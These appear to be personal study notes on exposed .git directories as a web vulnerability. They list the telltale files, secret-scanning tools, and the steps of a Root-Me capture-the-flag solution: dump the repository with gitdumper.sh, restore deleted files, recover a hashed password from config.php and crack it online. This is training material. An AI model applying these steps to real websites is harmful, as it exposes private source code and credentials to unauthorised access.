Git - Insecure Code Managment

Notes

Check for those files as they are an indicator for this vulnerability:

- .git/config
- .git/HEAD
- .git/logs/HEAD

Tools to analyze git repositories :
zricethezav/gitleaks --> using go get
pip3 install truffleHog

git log --> gets the commit
git diff <commit number> --> show you what they did

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Source%20Code%20Management

Challenges

- **Insecure Code Management :** https://www.root-me.org/en/Challenges/Web-Server/Insecure-Code-Management

  download gitdumper.sh

  run
  ./gitdumper.sh http://challenge01.root-me.org/web-serveur/ch61/.git/ .

  git log --> shows the commits with their messages --> used sha256
  git status --> shows the status of the current git commit

  you will find that he deleted some files and didnt commit
  so we delete those deletions with

  git checkout --
  find password hashed in config.php

  decrypt with
  https://md5hashing.net/hash/sha256/

  another way is using
  git show